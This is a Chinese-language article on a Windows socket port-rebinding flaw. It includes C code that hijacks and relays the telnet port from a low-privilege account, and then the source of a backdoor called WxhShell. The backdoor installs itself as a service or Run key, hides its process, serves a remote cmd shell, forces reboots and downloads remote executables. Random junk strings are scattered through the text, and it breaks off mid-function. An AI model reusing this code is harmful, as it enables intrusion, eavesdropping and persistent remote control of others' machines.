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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: mxrG)n6Y s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); yh;Y,;4 Z.&\=qiY saddr.sin_family = AF_INET; x@P{l&:> 6FfOH<\z6i saddr.sin_addr.s_addr = htonl(INADDR_ANY); } :iBx b|^I<7 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); wh 0<Uv zH)_vW 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9-*NW0 ]kktoP|D 这意味着什么?意味着可以进行如下的攻击: "
oy\_1| %Xh fXd' 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Hr;h4J &UAe!{E0 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 5,+\`!g )J/HkOj"V 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;mm!0]V &!7+Yb(1 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ic6L9>[ Y5A~E#zw 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [nN7qG ~QG?k 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 fF?6j >AD=31lq 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #?}6t~ ed~R>F> #include &ju- #include ,W5.:0Y;f[ #include c $;\i #include
TmEYW< DWORD WINAPI ClientThread(LPVOID lpParam); y93k_iq$S int main() U/MFhD(06 { ateUpGM QU WORD wVersionRequested; aP~gaSx DWORD ret; 90 {tI X WSADATA wsaData; 7u11&(Lz BOOL val; 7-iIay1h" SOCKADDR_IN saddr; lhn8^hOJ/ SOCKADDR_IN scaddr; {'3D1#SK int err; ,-*iCs< SOCKET s; u7]<=*V] SOCKET sc; _45cH{$sA int caddsize; O@U?IF$ HANDLE mt; (;o*eFC F DWORD tid; irxz l3 wVersionRequested = MAKEWORD( 2, 2 ); %j]STD.E err = WSAStartup( wVersionRequested, &wsaData ); , j980/ if ( err != 0 ) { )@QJ printf("error!WSAStartup failed!\n"); " mj^+u- return -1; J2Et-Cz 1 } Y'm=etE saddr.sin_family = AF_INET; kM*T$JqN i1*C{Lf;%) //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 +Takde%~ ]Bu DaxWN saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); c c G['7 saddr.sin_port = htons(23); f>iuHR*EXB if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) w[fDk1H) { :uCdq`SaQl printf("error!socket failed!\n"); P@ypk^v return -1; tbj=~xYf } .Oo/y0E^ val = TRUE; i*tv,f.( //SO_REUSEADDR选项就是可以实现端口重绑定的 XDmbm*~i if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) P[gO85 { _,;%mK printf("error!setsockopt failed!\n"); o\4t4}z~'f return -1; _'iDF } HFh /$VM //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; f'/ KMe%< //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 2ChWe}f //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /5a;_ cK}Pf+r> if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $+VgDe5{S { 8GB]95JWwp ret=GetLastError(); G\rj?% printf("error!bind failed!\n"); rZC3\,W return -1; ;w6s<a@Zh } uCUu!Vfeg listen(s,2); mx tgb$* while(1) iz
x[ { J%P)%yX caddsize = sizeof(scaddr); S=9E@(] //接受连接请求 7>je6*(K sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #tz8{o?ebN if(sc!=INVALID_SOCKET) t[O+B6 { "\T"VS^pd mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `7B14:\A if(mt==NULL) fEiJ~&{& {
$[e%&h@JR printf("Thread Creat Failed!\n"); N du7nKG break; h;Mu[` } "Pdvmur } QWhp:]} CloseHandle(mt); uB+9dQ } S:97B\u`
closesocket(s); D0%FELG05 WSACleanup(); ;/A}}B]y return 0; u8uW9 < } NhlJ3/J j DWORD WINAPI ClientThread(LPVOID lpParam) 5ZsDgOeY { i7v/A&Rc SOCKET ss = (SOCKET)lpParam; Z[;#|$J SOCKET sc; *PcVSEP/0 unsigned char buf[4096]; @,6ST0xT ( SOCKADDR_IN saddr; =YoTyq\ long num; j;0ih_Z@4W DWORD val; iPFL"v<#J DWORD ret; (4ZLpsbJ //如果是隐藏端口应用的话,可以在此处加一些判断 # ITLz!gE //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 |>JmS saddr.sin_family = AF_INET; 24|<<Xn saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ;$6x=uZ saddr.sin_port = htons(23); 5`yPT>*#m> if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E!YmcpCl { {d}26 $<$] printf("error!socket failed!\n"); R<j<.h return -1; N l|^o{# } /$*; >4=>f val = 100; 0~i q G if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) TQ~&Y)". { W9jNUZVXE# ret = GetLastError(); :~r#LRgc return -1; =F[lg?g } Nh :JU?h if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) JJNmpUJ { 5=.7\#D ret = GetLastError(); ahoh9iJ return -1; cUVTRWV } Zih5/I if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) g5<ZS3tQ {
u;(K34!) printf("error!socket connect failed!\n"); | @q9{h7 closesocket(sc); B{4"$Mi closesocket(ss); )+k[uokj return -1; f-s~Q4 } 5~-}}F while(1) YiBOi?h9 { XWf7"]%SX //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @2|G|C/]O} //如果是嗅探内容的话,可以再此处进行内容分析和记录 `x< 0A //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 (V^QQ !: num = recv(ss,buf,4096,0); [BE:+ ID3 if(num>0)
3:"AFV send(sc,buf,num,0); kFnUJM$r else if(num==0) (Z'WR break; 3li q9P_ num = recv(sc,buf,4096,0); a(g$ d2H if(num>0) k$?&]! <o send(ss,buf,num,0); !yk7HaP else if(num==0) mR6E]TuM break; P69>gBZYD } b/G8Mr closesocket(ss); D~7%};D[ closesocket(sc); y#nSk%"t" return 0 ; y!BB7cK6 } P$F#,Cn =^"~$[z( k~ZBJ+
94 ========================================================== @ikUM+A { &7lk2Q\ 下边附上一个代码,,WXhSHELL =cknE= m_~y ========================================================== 9PWm@
Nlf u`nt\OF #include "stdafx.h" EqYz,%I% 0.3^ #include <stdio.h> +-'`Q Ae #include <string.h> |zg=+ #include <windows.h> XZ!cW=bqS #include <winsock2.h> 7- (>"75Q| #include <winsvc.h> MQjG<O\ #include <urlmon.h> EOofa6f&l HI7]%<L #pragma comment (lib, "Ws2_32.lib") 6@i|Kw(: #pragma comment (lib, "urlmon.lib") NH<Y1t 0LZ=`tI #define MAX_USER 100 // 最大客户端连接数 $)4GCP #define BUF_SOCK 200 // sock buffer )|MIWgfWN #define KEY_BUFF 255 // 输入 buffer Cd$dnHVh ]gjr+GV #define REBOOT 0 // 重启 *c!;^Qy p& #define SHUTDOWN 1 // 关机 w
5!ndu m`[oT\ #define DEF_PORT 5000 // 监听端口 cYE./1D a i=x.tsJ:hB #define REG_LEN 16 // 注册表键长度 ?hP<@L6K #define SVC_LEN 80 // NT服务名长度 BJ_+z gf` p3{x <AO/ // 从dll定义API ]L[JS^#7 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .Gjr`6R typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); dw'<" +zO typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6sO typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @Pd)
%'s .ou!g&xu // wxhshell配置信息 8 /5sv struct WSCFG { Smi%dp. int ws_port; // 监听端口 H^]Nmd8Q) char ws_passstr[REG_LEN]; // 口令 Q@ykQ int ws_autoins; // 安装标记, 1=yes 0=no L?AM&w-cg9 char ws_regname[REG_LEN]; // 注册表键名 -ryDsq char ws_svcname[REG_LEN]; // 服务名 "``W6W-( char ws_svcdisp[SVC_LEN]; // 服务显示名 ^ uKnP>*l char ws_svcdesc[SVC_LEN]; // 服务描述信息 A%.J%[MVz char ws_passmsg[SVC_LEN]; // 密码输入提示信息 49iR8w?k int ws_downexe; // 下载执行标记, 1=yes 0=no :|*Gnu char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ]J8KCjq@ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G5y]^P /&S~+~]n }; a!TBk=P } IIK~d, // default Wxhshell configuration ,eZ;8W{G struct WSCFG wscfg={DEF_PORT, m~Kch~~] "xuhuanlingzhe", Ec7{BhH) 1, !V$6+?2 "Wxhshell", 7F>gj "Wxhshell", H9oXZSm "WxhShell Service", 2GHXn:V "Wrsky Windows CmdShell Service", i*mZi4URN "Please Input Your Password: ", [q0_7 1, u|]mcZ,ZW " http://www.wrsky.com/wxhshell.exe", _"R3N "Wxhshell.exe" J3]qg.B%z }; HPu/. oE krEH`f // 消息定义模块 Jdk3)
\ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bIvJs9L char *msg_ws_prompt="\n\r? for help\n\r#>"; uzzWZ9Tv char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; BLl%D char *msg_ws_ext="\n\rExit."; _QC?:mv6- char *msg_ws_end="\n\rQuit."; 7/5NaUmPTt char *msg_ws_boot="\n\rReboot..."; Ba"^K d` char *msg_ws_poff="\n\rShutdown..."; ]%cHm4#m3 char *msg_ws_down="\n\rSave to "; 'xLM>6[wz ,v$2'm)V char *msg_ws_err="\n\rErr!"; 1]D/3! char *msg_ws_ok="\n\rOK!"; k;"R y8[k a2(D!_dZR char ExeFile[MAX_PATH]; knNhN=hG+ int nUser = 0; T:w2 HANDLE handles[MAX_USER];
L@g Q L int OsIsNt; 35]j;8N: 2XETQ; 9 SERVICE_STATUS serviceStatus; w /Bn2bD SERVICE_STATUS_HANDLE hServiceStatusHandle; o=QRgdPD V8KTNt% // 函数声明 '0])7jq int Install(void); LP0;n\ int Uninstall(void); 6.`} &E int DownloadFile(char *sURL, SOCKET wsh); !R] CmK int Boot(int flag); <ZHY3
void HideProc(void); lzr>WbM{{p int GetOsVer(void); A9fjMnw int Wxhshell(SOCKET wsl); m-Z'K_oQ void TalkWithClient(void *cs); {LMS~nx int CmdShell(SOCKET sock); 4acP*LkkQ int StartFromService(void); "FLD%3l int StartWxhshell(LPSTR lpCmdLine); $,z[XM&9) HiS,q0 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9 :K VOID WINAPI NTServiceHandler( DWORD fdwControl ); #um1?V 4cErk)F4 // 数据结构和表定义 Yq)YS] SERVICE_TABLE_ENTRY DispatchTable[] = c*M)DO`y;h { s$DT.cvO {wscfg.ws_svcname, NTServiceMain}, T ?<'= {NULL, NULL} w>9H"Q[ }; /`j K OGE#wG"S // 自我安装 W=;(t int Install(void) YN5OuKMUd' { )LMBxyS char svExeFile[MAX_PATH]; f/IRO33 HKEY key; QJ(e*/ strcpy(svExeFile,ExeFile); YfrTvKX [X$|dOm'N // 如果是win9x系统,修改注册表设为自启动 1=/MT#d^?
if(!OsIsNt) { xRTg
[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vBCZ/F[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [6RV'7`Abj RegCloseKey(key); +*:x#$phx if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !Wdt:MUI8 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0%&fUz36E6 RegCloseKey(key); [6/%V>EM return 0; 'wT./&Z } B4*X0x } gR_b~^ } {%+3D,$) else { DoCQFSL dZ]\1""#H // 如果是NT以上系统,安装为系统服务 mn6p s6OB SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v @I^:I if (schSCManager!=0) ,G!_ SZ
{ ,<
)/45 SC_HANDLE schService = CreateService eqUn8<<s ( 0-&sJ schSCManager, *"wD&E? wscfg.ws_svcname, f-f\}G&G wscfg.ws_svcdisp, }HA2ce\ SERVICE_ALL_ACCESS, 43orR !.Z SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , t+4%,n f_1 SERVICE_AUTO_START, gS(: c. SERVICE_ERROR_NORMAL, z}b U\3! svExeFile, d)17r\*>I NULL, 5f^`4pT NULL, > {LJ#Dc6 NULL, Cn./N aq NULL, YRM6\S)py NULL 9B6_eFb ); ^v'g ~+@o if (schService!=0) x"C93ft[ { ]a%\Q2[c CloseServiceHandle(schService); CDTk CloseServiceHandle(schSCManager); Bc9|rl V, strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xUYN\Pc- strcat(svExeFile,wscfg.ws_svcname); 0or6_y6 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h?pGw1Q RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1WA""yb RegCloseKey(key); )>#<S0>'j return 0; RAx]Sp
Q-S } o y%g{,V } \Dsl7s= CloseServiceHandle(schSCManager); n.H`1@ } Kjca>/id } :R|2z`b! aY1#K6(y return 1; I+4qu|0lA } Lw2YP[CR .*wjkirF#~ // 自我卸载 jtVPv] int Uninstall(void) N(({2'Rr { r{:la56Xd HKEY key; I}Gl*@K&O )*L?PT if(!OsIsNt) { 0,D9\ Ebd if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?k7/`gU RegDeleteValue(key,wscfg.ws_regname); 1
FIiX RegCloseKey(key); =ILo`Q~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <812V8<! RegDeleteValue(key,wscfg.ws_regname); T?}=k{C] RegCloseKey(key); |sZ9/G7 return 0; q&Ua(I
} 5bqYi } :-'ri Ry } {Z~VO else { 9787uj]Y}H V{aIhH>P SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }y=n#%|i. if (schSCManager!=0) k3|9U'r!c { /7HIL?r SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fO}1(%}d if (schService!=0) zZ"')+7q&% { wCE fR!i if(DeleteService(schService)!=0) { N@`9 ~JS CloseServiceHandle(schService); v_F?x! CloseServiceHandle(schSCManager); FVLA^$5c return 0; x?k |i}Q } nh.v?| CloseServiceHandle(schService); c$Nl-?W } 8w@jUGsc CloseServiceHandle(schSCManager); ; >hPHx } >a]
s } d5W[A#} I:2jwAl return 1; Q ]koj!mMl } O7_NXfh| K]azUK7 // 从指定url下载文件 }j<_JI int DownloadFile(char *sURL, SOCKET wsh) #(}_2x5 { b:d.Lf{y7 HRESULT hr; Q^5 t]HKn char seps[]= "/"; xx2:5 char *token; 9Qm{\ char *file; `fE:5y char myURL[MAX_PATH]; `];[T= char myFILE[MAX_PATH]; 9(Xch2tpO! Fl(ZKpSZU strcpy(myURL,sURL); 5TW<1'u token=strtok(myURL,seps); k/rkJ|i+p while(token!=NULL) {}gk4xr { :QY 9p T file=token; Qz90 mb token=strtok(NULL,seps); \Hx#p`B% } k`zK ON=ley GetCurrentDirectory(MAX_PATH,myFILE); y&|{x " strcat(myFILE, "\\"); *} 4;1OVT strcat(myFILE, file); 8i
'jkyInT send(wsh,myFILE,strlen(myFILE),0); leqSS}KU+ send(wsh,"...",3,0); HDG"a&$
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); FQ&VM6_ if(hr==S_OK) SxQDqoA~ return 0; ;@\JscNJ| else C2%3+ return 1; *m Tc4&* R}mWHB_h" } .TU15AAc @?NLME // 系统电源模块 NNV.x7 int Boot(int flag) #z5?Y2t7~^ { $f-pLF+x HANDLE hToken; N9hWx()v TOKEN_PRIVILEGES tkp; wA+4:CF@ VFp)`+8 if(OsIsNt) { RR {9 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2MrR|hLx LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fC:\Gh5 tkp.PrivilegeCount = 1; f*f9:xUY tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; UE](`|4H AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *VAi!3Rx; if(flag==REBOOT) { "@bk$o= if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b<MMli return 0; ;{u#~d} } (
I~XwP& else { 8#3cmpx4 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6q7Y`%j return 0; iFT3fP'> 5 } 4SO{cst } SQCuY<mD else { E0'6 !9y if(flag==REBOOT) { ::t!W7W if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @y%qQe/g return 0; ov}{UP]a? } Cf 8-% else { J8[Xl. if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) dTNgrW`4 return 0; ITOGD } ? 7dDQI7^( } RLr-xg$K-t dz DssAHy return 1; .j,&/y& } r+obm)Qtp zXO.NSC[ // win9x进程隐藏模块 *Fs^T^ ?r void HideProc(void) Msdwv.jM { FiH!)6T !S<~(Ujyw HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); U4/$4.'NQ if ( hKernel != NULL ) `OK
}q { 7E]l=Z`x pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p#I1l2nE ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X> KsbOZ FreeLibrary(hKernel); cE#Y,-f } ucO]&'hu: ;<Q_4
V return; @J)vuGS } &0blHDMj{# (6aZQ`H // 获取操作系统版本 uSbg*OA int GetOsVer(void) }gt~{9?c { ,4UJ|D=J OSVERSIONINFO winfo; @T T[H*, winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jV8><5C GetVersionEx(&winfo); iSax-Mc if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6<GWDO return 1; a_x6 v* else 9dv~WtH>5 return 0; 247>+:7z } M>#S
z L*38T\ // 客户端句柄模块 )HHzvGsL) int Wxhshell(SOCKET wsl) EZFWxR/ {
YDL)F<Y SOCKET wsh; Gj?q+-d!(5 struct sockaddr_in client; ]].21 DWORD myID; O2B$c\pw l{yPO@ut`F while(nUser<MAX_USER) [J#(k`@ { p*,mwKN: int nSize=sizeof(client); W>49,A,q wsh=accept(wsl,(struct sockaddr *)&client,&nSize); XsC bA8Qv if(wsh==INVALID_SOCKET) return 1; :zoX
Xo 'LI)6;Yc handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Plv+ mb if(handles[nUser]==0) w9BH>56/" closesocket(wsh); h)8_sC else .42OSV nUser++; C?J%^?v } glUP WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .})8gL7V %(6Wr E5F6 return 0; _X/`4 G } z@j&vW }8e%s;C // 关闭 socket :
Dlk`? void CloseIt(SOCKET wsh) '{~ej: { v|z1nD!?] closesocket(wsh); u,q#-d0g; nUser--; ZvJx01F{ ExitThread(0); jTIn@Q } ^~od*: cR} =3|t // 客户端请求句柄 ~+hG}7(: void TalkWithClient(void *cs) wz=I+IN: { Gz:a1-x h:wD
&Fh8 SOCKET wsh=(SOCKET)cs; [%y D,8 char pwd[SVC_LEN]; )*B.y|b# char cmd[KEY_BUFF]; r+crE %- char chr[1]; 8Sa<I.l int i,j; Os;\\~e5 3i1>EjML while (nUser < MAX_USER) { C0wq x$*OglaS if(wscfg.ws_passstr) { aMWNZv if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P[~a'u //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MaM7u:kD# //ZeroMemory(pwd,KEY_BUFF); *,u{~(thR i=0; n_j[hA while(i<SVC_LEN) { }ls>~uN .u&g2Y // 设置超时 jC=_>\<|X* fd_set FdRead; -q27N^A0 struct timeval TimeOut; #kA+Yqy\) FD_ZERO(&FdRead); &M0v/!%L FD_SET(wsh,&FdRead); ]MyWB<9M TimeOut.tv_sec=8; [o6d]i! TimeOut.tv_usec=0; ~}fpe>M: int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q.4DwY5 L if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
b%6_LK[ (J;<&v}Gad if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :1Ay_b_J pwd =chr[0]; 4T"P#)z if(chr[0]==0xd || chr[0]==0xa) { *(J<~:V? pwd=0; ;S/fe(C
break; .W\Fa2}%av } IN"qJ3<k i++; E*zk?G| } +9t@eHJT1 fsu'W]f // 如果是非法用户,关闭 socket FK>rc3 q if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mb/Y } tfO
_b5g 9ZwhCsO send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Im2g2] send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i*3'O:Gq a[!':-R`s while(1) { YGB|6p( %O-wMl ZeroMemory(cmd,KEY_BUFF); G7u7x?E:B` Y (Q8P{@( // 自动支持客户端 telnet标准 YAD9'h]d\ j=0; !Qy3fs while(j<KEY_BUFF) { mT;z `* if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :gmVX} cmd[j]=chr[0]; y9 "!ys if(chr[0]==0xa || chr[0]==0xd) { q;+qIV&.: cmd[j]=0; 1-`8v[S break; |dvcDx0|K } sy~mcH:%+ j++; oPi)#|jcb } Ty>`r n ),86Y:^4 // 下载文件 Mw <1 if(strstr(cmd,"http://")) { CR<*<=rI send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5}f$O if(DownloadFile(cmd,wsh)) 1K!7FiqY send(wsh,msg_ws_err,strlen(msg_ws_err),0); (5SI!1N else %tpjy, send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x9a0J1Nb-h } K:y>wyzl else {
) s M}BY Q"KH!Bu%P switch(cmd[0]) { f_}55?i0 K/altyj` // 帮助 0@2%pIq\ case '?': { s`TfNwDvU send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _:T\[sz5 break; k5^'b#v } w1.~N`g$ // 安装 |@ia(U~ case 'i': { 'Z';$N ] if(Install()) ~Oolm_+{} send(wsh,msg_ws_err,strlen(msg_ws_err),0); '8Yx else fV3J:^)F send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r3|vu"Uei break; r]TeR$NJ } mIOx)`$ // 卸载 ~yci2{ case 'r': { cOIshT1 if(Uninstall()) zZkwfF send(wsh,msg_ws_err,strlen(msg_ws_err),0); qk+:p]2 else U]_1yX send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *0Fn C2W1 break; v6]lH9c{, } % 30&6 " // 显示 wxhshell 所在路径 gZ 9<H q case 'p': { CpA=DnZ char svExeFile[MAX_PATH]; ~s+\Y/@A strcpy(svExeFile,"\n\r"); Hc}(+wQN% strcat(svExeFile,ExeFile); #;+GNF}0mG send(wsh,svExeFile,strlen(svExeFile),0); Bdf3@sbM] break; NVP~`sxiZ } 8L0#<"'0 // 重启 |= ~9y"F case 'b': { 5'@}8W3b send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g=b'T- if(Boot(REBOOT)) W;2y.2* send(wsh,msg_ws_err,strlen(msg_ws_err),0); (ue;O~ else { (xMAo;s_ closesocket(wsh); 5<9}{X+@o ExitThread(0); od!TwGX } ,w
c|YI)E break; w}+jfO9 } 8g$pfHt|e // 关机 :0r@o:H case 'd': { uV{cvq$jy send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &rjMGk"& if(Boot(SHUTDOWN)) .#CTL|x send(wsh,msg_ws_err,strlen(msg_ws_err),0); s %/3X\_ else { 5E4np`J closesocket(wsh); GDhg
VOW( ExitThread(0); '(=krM9; } tMC<\e break; 5s8k^n"A } fAXF_wj // 获取shell ?bY'J6n. case 's': { @r=O~x CmdShell(wsh); 64Q{YuI closesocket(wsh); rcAx3AK. ExitThread(0);
K-#v5_* break; iWO16= } k]w;(< // 退出 8H;yrNL case 'x': { tK1P7pbC8r send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E<Efxb'p CloseIt(wsh); PU[]
Nw break; 3(jI } c JGU~\ // 离开 bvi
Y.G3 case 'q': { A(ql}cr send(wsh,msg_ws_end,strlen(msg_ws_end),0); @} qMI
closesocket(wsh); rMUn ~ WSACleanup(); y@e/G3 exit(1); w_PnEJa9 break; ^_n(>$
EK } B/AS|i] sM } >,7-cm=. } }mz@oEB#vF _I+QInD ;) // 提示信息 J.35Ad1hM if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?`lIsd } K8daSvc } qJj"WU5 \9jEpE^Ju( return;
~p<w>C9 } =wtu qYF150 // shell模块句柄 w`x4i fZ0q int CmdShell(SOCKET sock) Gg$4O 8 { 90X<Qs STARTUPINFO si; SN'j?- ZeroMemory(&si,sizeof(si)); LB$#]
Z si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
]?M3X_Mq si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @T)kqT PROCESS_INFORMATION ProcessInfo; XOsuRI? char cmdline[]="cmd"; LR%]4$ /M CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k>SPtiAs return 0; 8Q4yllv4 } {S,L %
lf-1;6nyk" // 自身启动模式 &?"E"GH int StartFromService(void) ;2*hN( { Wa.y7S0(@ typedef struct sQwRlx { zsOOx%
+ DWORD ExitStatus; b*Sw")# DWORD PebBaseAddress; n%X5TJE DWORD AffinityMask; .Yg7V'R1 DWORD BasePriority; +6-_9qRq ULONG UniqueProcessId; #\1)Tu%- ULONG InheritedFromUniqueProcessId; m#|;?z } PROCESS_BASIC_INFORMATION; o+*7Q! Pg4go10| PROCNTQSIP NtQueryInformationProcess; kT^|%bB[i 3e,"B
